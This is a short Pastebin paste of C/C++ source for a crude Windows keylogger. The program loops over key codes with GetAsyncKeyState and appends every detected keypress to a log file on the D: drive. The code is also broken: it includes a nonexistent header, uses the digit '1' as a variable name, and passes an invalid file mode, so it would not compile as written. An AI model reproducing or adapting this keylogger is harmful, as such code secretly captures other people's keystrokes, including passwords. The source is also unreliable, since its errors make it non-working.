Advertisement
Guest User

Untitled

a guest
May 16th, 2019
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.54 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <fastream>
  4. #define DELAY 100
  5.  
  6. using namespace std;
  7.  
  8. void writedown (char key) {
  9. char *path = "D:\\klog.txt";
  10. FILE *out;
  11. out = fopen(path, "a++");
  12. fprintf(out , "%c", key);
  13. fclose(out);
  14. }
  15.  
  16. int main()
  17. {
  18. while(true) {
  19. for(char 1 = 47; 1 < 91; 1++) {
  20. if(GetAsyncKeyState(1) != NULL) {
  21. writedown(1);
  22. Sleep(DELAY);
  23. }
  24. }
  25. }
  26.  
  27. cin.get();
  28. cin.get();
  29. return EXIT_SUCCESS;
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement